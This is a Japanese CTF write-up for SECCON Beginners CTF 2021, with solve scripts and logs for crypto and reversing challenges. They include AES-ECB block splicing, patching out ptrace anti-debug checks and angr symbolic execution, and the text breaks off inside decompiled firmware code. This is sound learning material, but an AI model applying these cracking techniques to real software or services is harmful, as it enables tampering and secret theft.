概要
SECCON Beginners CTF 2021 (2021/05/22 14:00 ~ 2021/05/23 14:00 JST) に1人チームで参加した。
結果は3850点で、正の点数を取った943チーム中14位だった。
解けた問題と時刻は、以下のようになった。
category | challenge | point | time |
---|---|---|---|
welcome | welcome | 51 | 2021/05/22 14:00:46 |
web | osoba | 51 | 2021/05/22 14:02:04 |
misc | git-leak | 58 | 2021/05/22 14:04:51 |
misc | depixelization | 136 | 2021/05/22 14:40:09 |
crypto | simple_RSA | 75 | 2021/05/22 14:50:13 |
web | Werewolf | 70 | 2021/05/22 21:32:49 |
web | json | 109 | 2021/05/22 22:04:18 |
crypto | Logical_SEESAW | 118 | 2021/05/22 22:24:43 |
crypto | Imaginary | 264 | 2021/05/22 22:44:45 |
reversing | only_read | 55 | 2021/05/22 22:51:40 |
reversing | firmware | 302 | 2021/05/23 01:41:00 |
reversing | be_angry | 234 | 2021/05/23 02:03:00 |
misc | fly | 411 | 2021/05/23 02:22:59 |
reversing | please_not_trace_me | 242 | 2021/05/23 03:10:12 |
reversing | children | 73 | 2021/05/23 03:33:13 |
pwnable | rewriter | 108 | 2021/05/23 03:44:25 |
pwnable | beginners_rop | 264 | 2021/05/23 05:00:12 |
pwnable | uma_catch | 387 | 2021/05/23 08:37:38 |
misc | Mail_Address_Validator | 76 | 2021/05/23 09:17:48 |
crypto | GFM | 222 | 2021/05/23 10:43:58 |
pwnable | 2021_emulator | 449 | 2021/05/23 11:25:29 |
web | check_url | 95 | 2021/05/23 13:55:00 |
解けた問題
welcome
welcome
競技開始時に、Discordの#announcements
チャンネルでflagが発表された。
ctf4b{Welcome_to_SECCON_Beginners_CTF_2021}
crypto
simple_RSA
Pythonのソースコードとその出力が与えられた。
このプログラムでは、flag
のe (= 3)
乗をn
で割った余りを出力しているが、
flag
の3乗がn
より小さいことが読み取れるので、普通にこの値の3乗根を求めればflag
が求まる。
3乗根は二分探索で求めることができる。
decode.py
import sys
params = {}
for l in sys.stdin.readlines():
key, value = l.split(" = ")
params[key] = int(value)
no = 0
yes = params["c"]
while no + 1 < yes:
m = no + (yes - no) // 2
if m * m * m >= params["c"]:
yes = m
else:
no = m
print(yes)
ans = ""
v = yes
while v > 0:
ans = chr(v & 0xff) + ans
v >>= 8
print(ans)
ctf4b{0,1,10,11...It's_so_annoying.___I'm_done}
Logical_SEESAW
Pythonのソースコードとその出力が与えられた。
このプログラムでは、flag
の各ビットに対して50%の確率でkey
の対応するビットとのANDを取った値に置き換える、
という処理を16回行い、その結果のリストを出力している。
すなわち、flag
で0のビットは常に0になり、1のビットは1になる可能性も0になる可能性もあるはずである。
そこで、とりあえず全部の結果列のORを取ったところ、正解のflagが得られた。
solve.py
import sys
key = "cipher = "
data = sys.stdin.readline()
if data[0:len(key)] == key:
cipher = eval(data[len(key):])
else:
print("cipher = ?")
sys.exit(1)
cur = cipher[0]
for c in cipher:
for i in range(len(c)):
cur = cur[0:i] + str(eval(cur[i] + "|" + c[i])) + cur[i+1:]
while len(cur) % 8 != 0:
cur = "0" + cur
ans = ""
i = 0
while i < len(cur):
ans += chr(eval("0b" + cur[i:i+8]))
i += 8
print(ans)
ctf4b{Sh3_54w_4_SEESAW,_5h3_54id_50}
GFM
プログラムと思われるテキストファイルproblem.sage
と、その出力と思われるテキストファイルが与えられた。
プログラムの内容は、ランダムな行列key
とflagの情報が入った行列M
を用い、
key
と key * M * key
を出力するというものであった。
また、この計算にはGF(p)
なるものを用いるようで、この素数p
も出力していた。
(^q^)くおえうえーーーるえうおおおwww
一見難しそうだが、調べてみると普通にp
で割った余りを求めればいいようである。
ガロア体と拡大体 : kei@sodan
あとは普通にガウスの消去法でkey
の逆行列を求めて掛けるだけで、正解のflagを含む行列が求まった。
solve.py
p = 331941721759386740446055265418196301559
key = [
[116401981595413622233973439379928029316, 198484395131713718904460590157431383741, 210254590341158275155666088591861364763, 63363928577909853981431532626692827712, 85569529885869484584091358025414174710, 149985744539791485007500878301645174953, 257210132141810272397357205004383952828, 184416684170101286497942970370929735721],
[ 42252147300048722312776731465252376713, 199389697784043521236349156255232274966, 310381139154247583447362894923363190365, 275829263070032604189578502497555966953, 292320824376999192958281274988868304895, 324921185626193898653263976562484937554, 22686717162639254526255826052697393472, 214359781769812072321753087702746129144],
[211396100900282889480535670184972456058, 210886344415694355400093466459574370742, 186128182857385981551625460291114850318, 13624871690241067814493032554025486106, 255739890982289281987567847525614569368, 134368979399364142708704178059411420318, 277933069920652939075272826105665044075, 61427573037868265485473537350981407215],
[282725280056297471271813862105110111601, 183133899330619127259299349651040866360, 275965964963191627114681536924910494932, 290264213613308908413657414549659883232, 140491946080825343356483570739103790896, 115945320124815235263392576250349309769, 240154953119196334314982419578825033800, 33183533431462037262108359622963646719],
[ 53797381941014407784987148858765520206, 136359308345749561387923094784792612816, 26225195574024986849888325702082920826, 262047729451988373970843409716956598743, 170482654414447157611638420335396499834, 270894666257247100850080625998081047879, 91361079178051929124422796293638533509, 34320536938591553179352522156012709152],
[266361407811039627958670918210300057324, 40603082064365173791090924799619398850, 253357188908081828561984991424432114534, 322939245175391203579369607678957356656, 63315415224740483660852444003806482951, 224451355249970249493628425010262408466, 80574507596932581147177946123110074284, 135660472191299636620089835364724566497],
[147031054061160640084051220440591645233, 286143152686211719101923153591621514114, 330366815640573974797084150543488528130, 144943808947651161283902116225593922999, 205798118501774672701619077143286382731, 317326656225121941341827388220018201533, 14319175936916841467976601008623679266, 112709661623759566156255015500851204670],
[306746575224464214911885995766809188593, 35156534122767743923667417474200538878, 35608800809152761271316580867239668942, 259728427797578488375863755690441758142, 29823482469997458858051644485250558639, 137507773879704381525141121774823729991, 29893063272339035080311541822496817623, 292327683738678589950939775184752636265]
]
enc = [
[133156758362160693874249080602263044484, 293052519705504374237314478781574255411, 72149359944851514746901936133544542235, 56884023532130350649269153560305458687, 67693140194970657150958369664873936730, 227562364727203645742246559359263307899, 98490363636066788474326997841084979092, 323336812987530088571937131837711189774],
[244725074927901230757605861090949184139, 63515536426726760809658259528128105864, 297175420762447340692787685976316634653, 279269959863745528135624660183844601533, 203893759503830977666718848163034645395, 163047775389856094351865609811169485260, 103694284536703795013187648629904551283, 322381436721457334707426033205713602738],
[ 17450567396702585206498315474651164931, 105594468721844292976534833206893170749, 10757192948155933023940228740097574294, 132150825033376621961227714966632294973, 329990437240515073537637876706291805678, 57236499879418458740541896196911064438, 265417446675313880790999752931267955356, 73326674854571685938542290353559382428],
[270340230065315856318168332917483593198, 217815152309418487303753027816544751231, 55738850736330060752843300854983855505, 236064119692146789532532278818003671413, 104963107909414684818161043267471013832, 234439803801976616706759524848279829319, 173296466130000392237506831379251781235, 34841816336429947760241770816424911200],
[140341979141710030301381984850572416509, 248997512418753861458272855046627447638, 58382380514192982462591686716543036965, 188097853050327328682574670122723990784, 125356457137904871005571726686232857387, 55692122688357412528950240580072267902, 21322427002782861702906398261504812439, 97855599554699774346719832323235463339],
[298368319184145017709393597751160602769, 311011298046021018241748692366798498529, 165888963658945943429480232453040964455, 240099237723525827201004876223575456211, 306939673050020405511805882694537774846, 7035607106089764511604627683661079229, 198278981512146990284619915272219052007, 255750707476361671578970680702422436637],
[ 45315424384273600868106606292238082349, 22526147579041711876519945055798051695, 15778025992115319312591851693766890019, 318446611756066795522259881812628512448, 269954638404267367913546070681612869355, 205423708248276366495211174184786418791, 92563824983279921050396256326760929563, 209843107530597179583072730783030298674],
[ 662653811932836620608984350667151180, 304181885849319274230319044357612000272, 280045476178732891877948766225904840517, 216340293591880460916317821948025035163, 79726526647684009633247003110463447210, 36010610538790393011235704307570914178, 284067290617158853279270464803256026349, 45816877317461535723616457939953776625]
]
def add(a, b):
return (a + b) % p
def sub(a, b):
return (a - b + p) % p
def mul(a, b):
return (a * b) % p
def inv(a):
return pow(a, p - 2, p)
def div(a, b):
return mul(a, inv(b))
def matmul(a, b):
ans = [[0 for j in range(len(b[0]))] for i in range(len(a))]
for k in range(len(a[0])):
for i in range(len(a)):
for j in range(len(b[0])):
ans[i][j] = add(ans[i][j], mul(a[i][k], b[k][j]))
return ans
left = [[e for e in row] for row in key]
right = [[1 if i == j else 0 for j in range(len(key[0]))] for i in range(len(key))]
for i in range(len(left)):
iv = inv(left[i][i])
for j in range(len(left[i])):
left[i][j] = mul(left[i][j], iv)
right[i][j] = mul(right[i][j], iv)
for j in range(i + 1, len(left)):
mult = left[j][i]
for k in range(len(left[i])):
left[j][k] = sub(left[j][k], mul(left[i][k], mult))
right[j][k] = sub(right[j][k], mul(right[i][k], mult))
for i in range(len(left) - 1, -1, -1):
for j in range(i - 1, -1, -1):
mult = left[j][i]
for k in range(len(left[j])):
left[j][k] = sub(left[j][k], mul(left[i][k], mult))
right[j][k] = sub(right[j][k], mul(right[i][k], mult))
print("left = " + str(left))
print("right = " + str(right))
print("key * right = " + str(matmul(key, right)))
decrypted = matmul(matmul(right, enc), right)
print("decrypted = " + str(decrypted))
result = ""
for row in decrypted:
for c in row:
if c < 0x100:
result += chr(c)
print(result)
ctf4b{d1d_y0u_pl4y_w1th_m4tr1x_4nd_g4l0is_f1eld?}
Imaginary
TCPサーバーの接続情報と、そこで動いていると考えられるPythonのソースコードが与えられた。
プログラムには以下の機能がある。
- 複素数をリストに追加する
- 複素数のリストを表示する
- AESで暗号化した複素数のリストを出力する
- AESで暗号化した複素数のリストを読み込む
-
1337i
がリストに含まれていれば、flagを出力する - 終了する
リストへの追加はa + bi
の形でのみ行うことができ、1337i
を直接追加することはできない。
また、Tera Termで暗号化したリストを出力する操作をすると、
パディングが入ったデータも出力されるため画面が荒れることがある。
とりあえずAESの1ブロックに収まるように空のリストを暗号化して出力してみた。
(この操作はTera Termだと画面が荒れたため、TCP/IPテストツールで行った)
その結果、出力されたデータは1ブロック分しか無く、IVのようなものが付いていないことに気がついた。
よく見たら、AES.MODE_ECB
に設定されている。
これは各ブロックを独立に暗号化する方法のようだ。
従って、ブロックごとに別の列を接続することができる。
この性質を利用するため、以下の2本のリストを用意した。
{"4444 + 1337i": [4444, 1337], "44444 + 1i": [44444, 1]}
{"411111111111111111111111111 + 1337i": [411111111111111111111111111, 1337]}
32バイト目までを最初のリスト、その後を2番目のリストにすると、以下のようになり、1337i
がリストに入る。
{"4444 + 1337i": [4444, 1337], "1337i": [411111111111111111111111111, 1337]}
実際の操作ログ
Welcome to Secret IMAGINARY NUMBER Store!
1. Save a number
2. Show numbers
3. Import numbers
4. Export numbers
0. Exit
> 1
Real part> 4444
Imaginary part> 1337
1. Save a number
2. Show numbers
3. Import numbers
4. Export numbers
0. Exit
> 1
Real part> 44444
Imaginary part> 1
1. Save a number
2. Show numbers
3. Import numbers
4. Export numbers
0. Exit
> 2
--------------------------------------------------
4444 + 1337i: (4444, 1337)
44444 + 1i: (44444, 1)
--------------------------------------------------
1. Save a number
2. Show numbers
3. Import numbers
4. Export numbers
0. Exit
> 4
{"4444 + 1337i": [4444, 1337], "44444 + 1i": [44444, 1]}
Exported:
5fad862755ed9e20bdb6fcf7bea154af4abec78f7466406ce35981b821ed688835fbced27bd0b1547c049cd209766d7f4be90f1ceb96a3b936e5f18472a46e73
1. Save a number
2. Show numbers
3. Import numbers
4. Export numbers
0. Exit
> 0
Welcome to Secret IMAGINARY NUMBER Store!
1. Save a number
2. Show numbers
3. Import numbers
4. Export numbers
0. Exit
> 1
Real part> 411111111111111111111111111
Imaginary part> 1337
1. Save a number
2. Show numbers
3. Import numbers
4. Export numbers
0. Exit
> 4
{"411111111111111111111111111 + 1337i": [411111111111111111111111111, 1337]}
Exported:
d9dbe0bc485efec8e9133346771c7d75164d382d3b0976bd56bf827e770dbe1a7f762c4f5ed731acde195888c77806219316130cba530eced6aba2b2728de2abcd5fe366f2cad5f88dcb41586bf94409
1. Save a number
2. Show numbers
3. Import numbers
4. Export numbers
0. Exit
> 0
Welcome to Secret IMAGINARY NUMBER Store!
1. Save a number
2. Show numbers
3. Import numbers
4. Export numbers
0. Exit
> 3
Exported String> 5fad862755ed9e20bdb6fcf7bea154af4abec78f7466406ce35981b821ed68887f762c4f5ed731acde195888c77806219316130cba530eced6aba2b2728de2abcd5fe366f2cad5f88dcb41586bf94409
Imported.
--------------------------------------------------
4444 + 1337i: (4444, 1337)
1337i: (411111111111111111111111111, 1337)
--------------------------------------------------
1. Save a number
2. Show numbers
3. Import numbers
4. Export numbers
0. Exit
> 5
Congratulations!
The flag is ctf4b{yeah_you_are_a_member_of_imaginary_number_club}
1. Save a number
2. Show numbers
3. Import numbers
4. Export numbers
0. Exit
> 0
ctf4b{yeah_you_are_a_member_of_imaginary_number_club}
reversing
only_read
ELFファイルが与えられた。
TDM-GCCのobjdumpで逆アセンブルしてみると、以下のようなmovzbl、cmp、jneのパターンが続いていた。
11e0: 0f b6 45 e0 movzbl -0x20(%rbp),%eax
11e4: 3c 63 cmp $0x63,%al
11e6: 0f 85 da 00 00 00 jne 12c6 <main+0x13d>
そこで、以下のプログラムによりcmpで書かれている値を抽出したところ、flagが得られた。
get.pl
#!/usr/bin/perl
use strict;
use warnings;
my $ans = "";
while (my $line = <STDIN>){
chomp($line);
if ($line =~ /cmp\s+\$0x([0-9a-fA-F]+),\%al/) {
$ans .= chr(hex($1));
}
}
print "$ans\n";
ctf4b{c0n5t4nt_f0ld1ng}
children
ELFファイルが与えられた。
これから10個の子プロセスを作るよ。 彼らの情報を正しく答えられたら、FLAGをあげるね。 ちなみに、子プロセスは追加の子プロセスを生む可能性があるから注意してね。
とのことである。
CS50 IDE上のGDBで実行してみると、
[Detaching after fork from child process 1013]
のような表示が出て、
その後子プロセスのPIDを聞かれるので、表示で出た数値を入れればいいようだった。
表示が一度に2回出ることがあり、この時は後に出た表示の方の数値を入れれば良いようだった。
最後に生まれた子プロセスの数を聞かれるので、出た表示の数を入れれば良いようだった。
実行例
~/ $ gdb ./children
Reading symbols from ./children...
(No debugging symbols found in ./children)
(gdb) r
Starting program: /home/ubuntu/children
I will generate 10 child processes.
They also might generate additional child process.
Please tell me each process id in order to identify them!
[Detaching after fork from child process 1013]
Please give me my child pid!
1013
ok
[Detaching after fork from child process 1014]
Please give me my child pid!
1014
ok
[Detaching after fork from child process 1015]
[Detaching after fork from child process 1016]
Please give me my child pid!
1016
ok
[Detaching after fork from child process 1017]
Please give me my child pid!
1017
ok
[Detaching after fork from child process 1018]
Please give me my child pid!
1018
ok
[Detaching after fork from child process 1019]
Please give me my child pid!
1019
ok
[Detaching after fork from child process 1020]
Please give me my child pid!
1020
ok
[Detaching after fork from child process 1021]
Please give me my child pid!
1021
ok
[Detaching after fork from child process 1022]
Please give me my child pid!
1022
ok
[Detaching after fork from child process 1023]
[Detaching after fork from child process 1025]
Please give me my child pid!
1025
ok
How many children were born?
12
ctf4b{p0werfu1_tr4sing_t0015_15_usefu1} [Inferior 1 (process 1009) exited normally]
(gdb) q
~/ $
ctf4b{p0werfu1_tr4sing_t0015_15_usefu1}
please_not_trace_me
ELFファイルが与えられた。
フラグを復号してくれるのは良いけど,表示してくれない!!
とのことである。
TDM-GCCのobjdumpで逆アセンブルしてみたが、直接flagを特定するのは難しそうであった。
CS50 IDE で普通に実行するとflag decrypted. bye.
が出力されるが、
GDB上で実行するとprease not trace me...
が出力される。
とりらえず、flag decrypted. bye.
の出力の直後に無限ループを入れ、止めるようにした。
すなわち、0x1335バイト目(以下の部分)からEB FE
(1: jmp 1b
) を書き込んだ。
なお、今回のELFファイルは、逆アセンブル結果中のアドレスとファイル中の位置が一致するようである。
1329: 48 8d 3d d4 0c 00 00 lea 0xcd4(%rip),%rdi # 2004 <_IO_stdin_used+0x4>
1330: e8 0b fd ff ff callq 1040 <puts@plt>
1335: 48 c7 45 d8 12 00 00 movq $0x12,-0x28(%rbp)
この状態でCS50 IDEで実行し、止まった後GDBでアタッチしようとしたが、
既にtraceされているみたいなメッセージが出て、情報を得ることができなかった。
逆アセンブル結果をよく見るとptrace
を呼び出している場所が2箇所あるので、潰すことにした。
すなわち、0x12f3バイト目からと0x1481バイト目からのそれぞれ5バイトを90
(NOP) で埋めた。
12da: b9 00 00 00 00 mov $0x0,%ecx
12df: ba 01 00 00 00 mov $0x1,%edx
12e4: be 00 00 00 00 mov $0x0,%esi
12e9: bf 00 00 00 00 mov $0x0,%edi
12ee: b8 00 00 00 00 mov $0x0,%eax
12f3: e8 88 fd ff ff callq 1080 <ptrace@plt>
1468: b9 00 00 00 00 mov $0x0,%ecx
146d: ba 01 00 00 00 mov $0x1,%edx
1472: be 00 00 00 00 mov $0x0,%esi
1477: bf 00 00 00 00 mov $0x0,%edi
147c: b8 00 00 00 00 mov $0x0,%eax
1481: e8 fa fb ff ff callq 1080 <ptrace@plt>
すると、GDBを介した実行でなくてもprease not trace me...
が出力されるようになった。
調べてみると、これはptraceにPTRACE_TRACEME
を渡している感じのようであり、
実験の結果2回目の呼び出しは失敗するようであった。
そこで、2回目の呼び出しではエラーを返した状態にすることにした。
すなわち、GDBでブレークポイントを置いて2箇所のどっちが先に呼び出されるかを調べ、
後に呼び出された0x1481バイト目について、
147c: b8 00 00 00 00 mov $0x0,%eax
1481: e8 fa fb ff ff callq 1080 <ptrace@plt>
の部分を
147c: b8 ff ff ff ff mov $-1,%eax
1481: 48 98 90 90 90 cltd; nop; nop; nop
と書き換えることで、%rax
に-1
が入るようにした。
これで、GDBを介して実行してもflag decrypted. bye.
が出るようになった。
次は、この状態でメモリの中からflagを探す作業である。
GDBのfind
では見つからなかったが、main関数からmalloc関数を呼び出している場所の次(0x149Eバイト目)
にブレークポイントを置いてmalloc関数の返り値を確認し、
flag decrypted. bye.
が出力された後にその周辺を探す(x/32s 返り値
)ことでflagが得られた。
1494: bf 10 00 00 00 mov $0x10,%edi
1499: e8 d2 fb ff ff callq 1070 <malloc@plt>
149e: 48 89 45 e0 mov %rax,-0x20(%rbp)
なお、表示されているアドレスをそのままブレークポイントとして使おうとしても、うまくいかなかった。
そこで、まずbreak main
でmain関数の最初にブレークポイントを設置し、
そこで止まった時に表示されるmain関数のアドレス、ダンプ結果中のmain関数のアドレス、
そしてダンプ結果中の本命のブレークポイントを設置したい場所のアドレスに基づいて、
本命のブレークポイントを設置するためのアドレスを求めた。
ctf4b{d1d_y0u_d3crypt_rc4?}
be_angry
ELFファイルが与えられた。
TDM-GCCのobjdumpで逆アセンブルしてみたが、長くてパターンも見えなかったので、諦めてangrで殴ることにした。
angrでシンボリック実行をやってみる - ももいろテクノロジー
を参考にvirtualenvを用意してangrをインストールし、スクリプトを書いた。
しかし、プロパティが見つからないなどのエラーでうまく動かなかった。
そこで、
angr例文集 書いて覚えるバイナリ自動解析技術 - Qiita
を参考に調整した。
自動で関数のアドレスを求める方法はわからなかったが、
The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.
というメッセージが出ていたので、
ファイル中のアドレスに0x400000を加えたものが指定するべきアドレスになると仮定した。
そして、逆アセンブル結果を参考に、Correct!!
を出力している場所を到達するべきアドレス、
Incorrect!!
を出力している場所を回避するべきアドレスとして指定した。
naguru.py
import angr
p = angr.Project("./chall", load_options={"auto_load_libs":False})
main_dump_addr = 0x1192
main_addr = 0x400000 + main_dump_addr # p.loader.main_bin.get_symbol('main').addr
success_addr = main_addr + 0x2532 - main_dump_addr
incorrects = [
0x2516, 0x254e, 0x256a, 0x2586, 0x264c, 0x26bd
]
incorrect_addrs = [main_addr + a - main_dump_addr for a in incorrects]
# initial_state = p.factory.blank_state(addr=main_addr)
# initial_path = p.factory.path(initial_state)
# pg = p.factory.path_group(initial_path)
state = p.factory.entry_state()
pg = p.factory.simulation_manager(state)
e = pg.explore(find=(success_addr,), avoid=tuple(incorrect_addrs))
if len(e.found) > 0:
# s = e.found[0].state
s = e.found[0]
print("%r" % s.posix.dumps(0))
その結果、数分でflagが得られた。
モジュールConfigParser
が無いというようなメッセージも出ているが、無視しても良さそうであった。
ModuleNotFoundError: No module named 'ConfigParser' - Qiita
小文字にするのが正しい…?でもangrを修正する方法はわからないし…
ctf4b{3nc0d3_4r1thm3t1c}
firmware
独自形式のアーカイブファイル?firmware.bin
と、テキストファイルREADME.txt
が与えられた。
アーカイブファイルの冒頭部分に改行を補うと、以下のようになっていた。
3d007ab1a15cd0a77d2a6b7f1d8dcdc563a4d84bab82b6f76cf8bb68d2d4962b v1964.5.3 ctf4b networks
e03b0dcb-f91d-4e1e-ad82-23146780cd2a ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
ascii.txt e48277e0cc310a606fb5319754423603
square.svg 312026e039ec61d230dd86797b032a3e
bootstrap-grid.css 9a06dd7167f88983e5a14e67508b2a82
fa-regular-400.woff2 8eb1b3e8681657092171b6aa809493c2
file.svg 8f2d21c929c00e6b2b2b33582fc414e5
logo.png 3d6f672ef957418b0b15b00d27cfa44a
firm 21df362e00282863ad2b8a91c5afd98a
logo.jpg c1c0531f3371a1ccc25385f18b58a06e
folder.svg 70e2e882c80a772863672b93cd8d33d7
certificate.pem 03badb281c5e6c779ee1194826a21ffd
index.html a953910110ce3fb387eb97c1093d45ca
plus-square.svg d6dc15c39345eca10ca31f6a5b961868
star.svg 2476ae39f9f761b98fd7d6094da61047
この中でfirm
という場所が怪しい。
firm
の直前はlogo.png
であり、先頭からfirm
までに.png
はこの1個しかない。
そこで、アーカイブファイルからPNGデータを探し、その最後の部分を見ると、
161B0 0D 8B 61 8B 94 0D 8B 61 8B 94 0D 8B 61 8B 94 0D
161C0 8B 61 8B 94 0D 8B 61 8B 94 0D 8B F1 5F C1 EA 8B
161D0 DA 5B 8A 3B 5A 00 00 00 00 49 45 4E 44 AE 42 60 .........IEND.B.
161E0 82 7F 45 4C 46 01 01 01 00 00 00 00 00 00 00 00 ..ELF...........
161F0 00 03 00 28 00 01 00 00 00 D9 07 00 00 34 00 00
16200 00 D4 2D 00 00 00 04 00 05 34 00 20 00 09 00 28
となっており、PNGデータの直後にELFファイルがあることがわかった。
さらに、この次のJPGファイル(他のファイルを観察した所、先頭はFF D8
のようだ)を探すと、
19410 00 00 00 00 00 11 00 00 00 03 00 00 00 00 00 00
19420 00 00 00 00 00 CF 2C 00 00 05 01 00 00 00 00 00
19430 00 00 00 00 00 01 00 00 00 00 00 00 00 FF D8 FF
19440 E0 00 10 4A 46 49 46 00 01 01 02 00 76 00 76 00 ...JFIF.....v.v.
19450 00 FF DB 00 43 00 03 02 02 02 02 02 03 02 02 02
19460 03 03 03 03 04 06 04 04 04 04 04 08 06 06 05 06
のようになっていた。
そこで、この間の [0x161E1, 0x1943D) バイト目をfirm
として抽出することにした。
例えば
dd bs=1 skip=90593 count=12892 if=firmware/firmware.bin of=firm
とすることで抽出することができる。
ddコマンドの使い方 - Qiita
得られたELFファイルはTDM-GCCのobjdumpでも逆アセンブルができなかったが、
Raspberry Pi上のobjdumpを使えば逆アセンブルができた。
逆アセンブル結果を気合でC言語で書き下すと、以下のようになった。
(これはあくまで処理内容を理解するためのメモであり、C言語としての動作は確認していない)
firm-kakikudasi.c
unsigned int array_0EA4[] = {
0x00000030, 0x00000027, 0x00000035,
0x00000067, 0x00000031, 0x00000028, 0x0000003A,
0x00000063, 0x00000027, 0x0000000C, 0x00000037,
0x00000036, 0x00000025, 0x00000062, 0x00000030,
0x00000036, 0x0000000C, 0x00000035, 0x0000003A,
0x00000021, 0x0000003E, 0x00000024, 0x00000067,
0x00000021, 0x00000036, 0x0000000C, 0x00000032,
0x0000003D, 0x00000032, 0x00000062, 0x0000002A,
0x00000020, 0x0000003A, 0x00000060, 0x0000000C,
0x00000021, 0x00000036, 0x00000025, 0x00000060,
0x00000032, 0x00000062, 0x00000020, 0x0000000C,
0x00000032, 0x0000000C, 0x0000003F, 0x00000063,
0x00000027, 0x0000000C, 0x0000003C, 0x00000035,
0x0000000C, 0x00000066, 0x00000036, 0x00000030,
0x00000021, 0x00000036, 0x00000064, 0x00000020,
0x0000002E, 0x00000059
};
char sp[4544 + 24];
int main(void) {
unsigned int r0, r1, r2, r3, r4, r5, r6, r7;
/* 8f0 */
r7 = (unsigned int)sp;
r3 = r7 + 4544 + 20;
/* 8fa */
r1 = 0x0001166E; /* d20 */
r1 += 0x902; /* r1 += PC */
/* 0x900 */
r2 = 0x0000007C; /* d24 */
r2 = *(unsigned int*)(r1 + r2);
r2 = *(unsigned int*)r2;
*(unsigned int*)r3 = r2;
/* 90a */
r2 = 0;
r4 = r7 + 24 - 12;
r0 = socket(2, 1, 0);
*(unsigned int*)r4 = r0;
/* 920 */
r3 = r7 + 24 - 12;
r3 = *(unsigned int*)r3;
if ((int)r3 < 0) {
/* 92c */
r3 = (unsigned int)"Failed to set socket."; /* 0x932 + 0x482 */
perror(r3);
return 1;
}
/* 93a */
r3 = r7 + 56 - 24;
*(unsigned short*)r3 = 2;
/* 944 */
r3 = htons(8080);
r2 = r3;
/* 950 */
r3 = r7 + 56 - 24;
*(unsigned short*)(r3 + 2) = r2;
/* 958 */
r3 = r7 + 56 - 24;
*(unsigned int*)(r3 + 4) = 0;
/* 962 */
r3 = r7 + 24 - 12;
r0 = bind(*(unsigned int*)r3, r7 + 56 - 24, 16);
/* 976 */
r3 = r0;
if (r3 != 0) {
/* 97c */
r3 = (unsigned int)"Failed to bind."; /* 0x982 + 0x44A */
perror(r3);
return 1;
}
/* 98a */
r3 = r7 + 24 - 12;
r0 = listen(*(unsigned int*)r3, 5);
/* 998 */
r3 = r0;
if (r3 != 0) {
/* 99e */
r3 = (unsigned int)"Failed to listen."; /* 0x9A4 + 0x438 */
perror(r3);
return 1;
}
for (;;) {
/* 9ac */
r3 = r7 + 24 - 20;
*(unsigned int*)r3 = 16;
/* 9b6 */
r4 = r7 + 24 - 8;
r3 = r7 + 24 - 12;
/* 9ce */
r0 = accept(*(unsigned int*)r3, r7 + 56 - 8, r7 + 24 - 20);
*(unsigned int*)r4 = r0;
/* 9d6 */
r4 = r7 + 24 - 4;
r1 = (unsigned int)"r"; /* 0x9E2 + 0x40E */
r0 = (unsigned int)"ascii.txt"; /* 0x9E8 + 0x40C */
r0 = fopen(r0, r1);
*(unsigned int*)r4 = r0;
/* 9ee */
r3 = r7 + 24 - 4;
r3 = *(unsigned int*)r3;
if (r3 == 0) {
/* 9fa */
r3 = (unsigned int)"Failed to read file."; /* 0xA00 + 0x400 */
perror(r3);
/* a04 */
r3 = r7 + 24 - 8;
close(*(unsigned int*)r3);
/* a10 */
return 1;
}
/* a14 */
r3 = r7 + 24 - 4;
fseek(*(unsigned int*)r3, 0, 2);
/* a24 */
r4 = r7 + 24;
r3 = r7 + 24 - 4;
r0 = ftell(*(unsigned int*)r3);
*(unsigned int*)r4 = r0;
/* a36 */
r3 = r7 + 24 - 4;
fseek(*(unsigned int*)r3, 0, 0);
/* a46 */
r3 = r7 + 24;
r3 = *(unsigned int*)r3;
r4 = r7 + 56 - 28;
r0 = calloc(r3, 1);
*(unsigned int*)r4 = r0;
/* a5e */
r3 = r7 + 56 - 28;
r3 = *(unsigned int*)r3;
if (r3 == 0) {
/* a6a */
r3 = (unsigned int)"Failed to read file."; /* 0xA70 + 0x390 */
perror(r3);
/* a74 */
r3 = r7 + 24 - 8;
close(*(unsigned int*)r3);
/* a80 */
return 1;
}
/* a84 */
r3 = r7 + 24;
r2 = *(unsigned int*)r3;
r3 = r7 + 24 - 4;
r0 = r7 + 56 - 28;
fread(*(unsigned int*)r0, 1, r2, *(unsigned int*)r3);
/* aa0 */
r3 = r7 + 24 - 4;
fclose(*(unsigned int*)r3);
/* aac */
r3 = r7 + 56 - 28;
r2 = strlen(*(unsigned int*)r3);
/* aba */
r1 = r7 + 56 - 28;
r0 = r7 + 24 - 8;
send(*(unsigned int*)r0, *(unsigned int*)r1, r2, 0);
/* ad0 */
r3 = r7 + 56 - 28;
free(*(unsigned int*)r3);
/* adc */
r3 = r7 + 376 - 4;
r2 = (unsigned int)"This is a IoT device made by ctf4b networks. Password authentication is required to operate.\n"; /* 0xae8 + 0x334 */
memcpy(r3, r2, 94);
/* af2 */
r2 = strlen(r7 + 376 - 4);
/* b00 */
r1 = r7 + 376 - 4;
r0 = r7 + 24 - 8;
send(*(unsigned int*)r0, r1, r2, 0);
/* b14 */
r3 = r7 + 344 - 12;
r2 = (unsigned int)"Input password (password is FLAG) > "; /* 0xB20 + 0x35C */
/* b1e */
r4 = r3;
r5 = r2;
/* b22 */
r0 = *(unsigned int*)r5; r5 += 4;
r1 = *(unsigned int*)r5; r5 += 4;
r2 = *(unsigned int*)r5; r5 += 4;
r3 = *(unsigned int*)r5; r5 += 4;
/* b24 */
*(unsigned int*)r4 = r0; r4 += 4;
*(unsigned int*)r4 = r1; r4 += 4;
*(unsigned int*)r4 = r2; r4 += 4;
*(unsigned int*)r4 = r3; r4 += 4;
/* b26 */
r0 = *(unsigned int*)r5; r5 += 4;
r1 = *(unsigned int*)r5; r5 += 4;
r2 = *(unsigned int*)r5; r5 += 4;
r3 = *(unsigned int*)r5; r5 += 4;
/* b28 */
*(unsigned int*)r4 = r0; r4 += 4;
*(unsigned int*)r4 = r1; r4 += 4;
*(unsigned int*)r4 = r2; r4 += 4;
*(unsigned int*)r4 = r3; r4 += 4;
/* b2a */
r0 = *(unsigned int*)r5; r5 += 4;
r1 = *(unsigned int*)r5; r5 += 4;
/* b2e */
*(unsigned int*)r4 = r0;
r4 += 4;
*(unsigned char*)r4 = r1;
/* b34 */
r2 = strlen(r7 + 344 - 12);
/* b42 */
r1 = r7 + 344 - 12;
r0 = r7 + 24 - 8;
send(*(unsigned int*)r0, r1, r2, 0);
/* b56 */
r3 = r7 + 472 - 4;
memset(r3, 0, 4096);
/* b68 */
r1 = r7 + 472 - 4;
r0 = r7 + 24 - 8;
recv(*(unsigned int*)r0, r1, 4096, 0);
/* b80 */
